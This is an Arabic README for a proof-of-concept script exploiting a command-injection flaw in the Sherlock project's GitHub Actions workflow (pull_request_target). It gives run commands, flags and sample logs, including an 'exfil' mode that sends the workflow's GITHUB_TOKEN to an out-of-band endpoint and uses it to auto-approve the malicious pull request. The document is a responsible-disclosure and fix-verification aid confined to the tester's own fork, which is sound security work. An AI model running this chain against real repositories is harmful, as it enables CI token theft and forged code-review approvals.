
إثبات مفهوم لاستغلال CVE-2026-44590، وهي حقن أوامر في سير عمل GitHub Actions الخاص بـ Sherlock مما يتيح تنفيذ الأوامر عن بُعد (RCE) وسرقة GITHUB_TOKEN عبر pull_request_target.
تم الاكتشاف والإبلاغ بواسطة: Astaruf
الشرح الكامل: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
الإشعار الرسمي: إشعار GHSA الخاص بـ sherlock-project/sherlock
يحتوي هذا المستودع على إثبات المفهوم لـ CVE-2026-44590، وهو حقن أوامر في سير عمل GitHub Actions الخاص بـ validate_modified_targets.yml في sherlock-project/sherlock. يمكن لأي مستخدم GitHub فتح طلب سحب يؤدي إلى تنفيذ أوامر عشوائية في سياق CI المميز، وسرقة GITHUB_TOKEN الخاص بسير العمل، والموافقة التلقائية على طلب السحب الخبيث، كل ذلك دون أي تفاعل بشري.
للحصول على الشرح الفني الكامل (تحليل السبب الجذري، شرح خطوات الاستغلال، مناقشة التأثير، وفصل حول ما يمكن للمهاجم فعله في سيناريوهات العالم الحقيقي) راجع منشور المدونة:
يركز هذا README حصريًا على سكربت PoC: ما الذي يفعله، وكيفية تشغيله، وما يمكن توقعه.
poc.pypoc.py هو سكربت Python واحد مكتفٍ بذاته (مكتبة قياسية فقط) يقوم بأتمتة سلسلة الهجوم بالكامل من البداية إلى النهاية:
sherlock-project/sherlock إذا لزم الأمرmaster الخاص بالـ fork إلى الالتزام قبل الإصلاح بحيث يمكن إعادة إنتاج الثغرة حتى بعد الإصلاح الرسميinteractsh-client)GITHUB_TOKEN من استدعاء OAST (في --mode exfil) ويفك ترميزه كنص واضحVULNERABILITY CONFIRMED أو FIX VERIFIEDinteractsh-client)هناك خطوة يدوية واحدة بالضبط مطلوبة (النقر على لافتة "I understand my workflows" في GitHub في المرة الأولى لكل fork)، لأنه لا توجد واجهة برمجة تطبيقات عامة لإغلاقها. يكتشف السكربت هذه الحالة ويتوقف مؤقتًا مع مطالبة واضحة.
python3 poc.py --fork-owner <your-github-username>
يقوم بعمل fork للمستودع (إذا لزم الأمر)، ويزامن مع المستودع الرسمي (master مُصلَح)، ويفتح طلب سحب خبيث، ويشغّل سلسلة الهجوم، ويبلغ بـ FIX VERIFIED لأن سير العمل المُصلَح يحظر الحمولة قبل تنفيذ أي أمر shell.
python3 poc.py --fork-owner <your-github-username> --vulnerable
نفس ما سبق، لكن أولاً يعيد master الخاص بالـ fork إلى الالتزام قبل الإصلاح (271608fb). الحكم المتوقع: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil
تقوم حمولة exfil بإرسال git config --list إلى OAST وتنام لمدة 180 ثانية لإبقاء سير العمل (وبالتالي GITHUB_TOKEN) نشطًا. بينما سير العمل نائم، يستخرج السكربت الرمز من سجل OAST، ويفك ترميزه، ويستدعي فورًا GitHub API للموافقة على طلب السحب. ينتهي طلب السحب بموافقة من github-actions[bot].
gh (GitHub CLI)، مُصادق عليه:
gh auth login
gitinteractsh-client (اختياري لكن موصى به). عند تثبيته، يقوم السكربت تلقائيًا بتشغيله والتحقق من الاستدعاء داخل السكربت:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url وسيتم تخطي خطوة التحقق التلقائي.لا يتطلب السكربت وجود fork مسبقًا، فهو ينشئ واحدًا تلقائيًا.
--mode harmless (الافتراضي)الحمولة هي طلب curl POST واحد بسلسلة تأكيد ثابتة. لا تتم قراءة أي أسرار، ولا يتم إجراء أي استدعاءات API، والتأثير الجانبي الوحيد هو استدعاء OAST. استخدم هذا لتأكيد وجود الثغرة دون كشف أي بيانات اعتماد.
--mode exfilتقوم الحمولة بإرسال git config --list (الذي يحتوي على GITHUB_TOKEN بترميز base64 تحت http.https://github.com/.extraheader) إلى OAST، ثم تنام لمدة 180 ثانية. يقوم السكربت بعد ذلك بما يلي:
x-access-token:ghs_XXXXXXXX....x-access-token: ويستخدم الرمز الخام لاستدعاء POST /repos/<fork>/pulls/<n>/reviews مع حمولة الموافقة القياسية ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot]، لا يمكن تمييزه عن أتمتة CI المشروعة.بمجرد تسجيل الموافقة، يتخطى السكربت باقي فترة النوم البالغة 180 ثانية لسير العمل، لأن سلسلة الهجوم مكتملة والانتظار حتى انتهاء مهلة العامل لا يضيف شيئًا.
| العلم | الوصف |
|---|---|
--fork-owner <user> | مطلوب. اسم مستخدم GitHub الذي يملك (أو سيملك) الـ fork |
--fork-name <name> | اسم مستودع الـ fork (الافتراضي: sherlock) |
--oast-url <url> | نقطة نهاية OAST التي تستقبل الاستدعاء. إذا تم حذفها، يقوم السكربت تلقائيًا بتشغيل interactsh-client ويشغّل الحكم داخل السكربت |
--mode harmless|exfil | نوع الحمولة (الافتراضي: harmless) |
--vulnerable | إعادة تعيين master الخاص بالـ fork قسريًا إلى الالتزام قبل الإصلاح (271608fb) قبل التشغيل. يستلزم --no-sync |
--no-sync | تخطي مزامنة الـ fork مع المستودع الرسمي (مفيد عند اختبار التزام محدد) |
--base-branch <name> | فرع طلب السحب المستهدف في الـ fork (الافتراضي: master) |
--keep-branch | عدم حذف فرع PoC بعد الاكتمال |
--no-poll | تخطي استقصاء تشغيل سير العمل والخروج بعد إنشاء طلب السحب |
حسب التصميم، يفتح PoC طلب السحب من فرع في الـ fork إلى master لنفس الـ fork. لا يستهدف sherlock-project/sherlock مباشرة. هناك سببان لذلك.
طلب السحب على مستودع عام مرئي لأي شخص. يبقى الفرق مفهرسًا حتى بعد إغلاق طلب السحب، وسجلات GitHub Actions قابلة للوصول عبر واجهة الويب. فتح طلب سحب بحمولة حقن أوامر عاملة على المستودع الرسمي سينشر فعليًا استغلالًا وظيفيًا قبل أن تتاح للمشرفين فرصة إصدار إصلاح. يمكن لأي شخص يراقب المستودع نسخ الحمولة، واستبدال استدعاء OAST بنقطة نهاية خبيثة، واستخدامها لسرقة GITHUB_TOKEN الحقيقي.
يستخدم PoC طلب سحب من fork إلى fork لإبقاء الاستغلال بعيدًا عن الأنظار العامة مع إظهار الثغرة من البداية إلى النهاية.
عند عمل fork لمستودع sherlock-project/sherlock، يتم تضمين ملف سير العمل validate_modified_targets.yml في الـ fork. فتح طلب سحب يستهدف master الخاص بالـ fork يشغّل سير العمل في سياق الـ fork، مع GITHUB_TOKEN صادر للـ fork. الآليات مطابقة تمامًا للهجوم الأصلي:
pull_request_target تلقائيًاGITHUB_TOKEN الخاص بهactions/checkout الرمز في .git/config عبر إعداد http.https://github.com/.extraheaderالفرق الوحيد هو نطاق الانفجار: الرمز يخص الـ fork، وليس sherlock-project/sherlock. يتم إعادة إنتاج الثغرة؛ يتم احتواء التأثير.
يقوم GitHub بتعطيل Actions على الـ forks المنشأة حديثًا خلف لافتة واجهة المستخدم:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
لا توجد واجهة برمجة تطبيقات عامة لإغلاق هذه اللافتة. يكتشف السكربت هذه الحالة (تم إنشاء الـ fork للتو أو لا توجد له أي عمليات سير عمل تاريخية) ويتوقف مؤقتًا مع مطالبة واضحة:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
بعد النقر على اللافتة مرة واحدة على fork معين، لن يطلب السكربت مرة أخرى في عمليات التشغيل اللاحقة ضد نفس الـ fork.
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
يُنشر هذا المستودع لأغراض تعليمية وبحثية أمنية فقط. تم الإبلاغ عن الثغرة بشكل مسؤول إلى المشرفين، وتم إصلاحها في المستودع الرسمي، وتم طلب CVE. لا تقم بتشغيل هذا PoC ضد مستودعات لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام.